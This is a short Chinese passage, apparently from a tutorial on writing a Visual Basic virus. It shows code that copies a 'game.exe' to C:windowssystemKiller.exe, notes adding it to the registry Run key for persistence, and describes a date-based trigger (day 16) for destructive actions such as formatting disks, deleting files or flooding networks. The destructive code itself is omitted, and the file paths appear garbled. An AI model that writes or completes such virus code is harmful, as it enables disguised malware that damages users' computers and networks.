声明部分: ’’定义 FileExists% 函数 public success% function FileExists%(fname$) On Local Error Resume Next Dim ff% ff% = FreeFile Open fname{$body}nbsp;For Input As ff% If Err Then FileExists% = False Else FileExists% = True End If Close ff% End function 代码部分: ’’判断文件是否存在 success% = FileExists%("C:windowssystemKiller.exe") If success% = False Then ’’病毒不存在则拷贝病毒到计算机 FileCopy "game.exe", "C:windowssystemKiller.exe" ... ’’修改注册表,将其加入RUN中。(省略若干代码) End If
* 病毒发作条件 ~~~~~~~~~~~~~~ 可用Day(Date)来判断今天是几号,再与确定好的日期作比较,相同则表现出病毒主体的破坏性,否则不发作。也可用Time、Date或其它方 法作为病毒发作条件的判断。 例: if day(date)=16 then ’’16是发作日期,取值为1-31的整数 ... ... ’’kill ******* 当日期相符时运行的破坏性代码(格式化、删除指定的文件类型、发送数据包杜塞网路等,省略若干代码) end if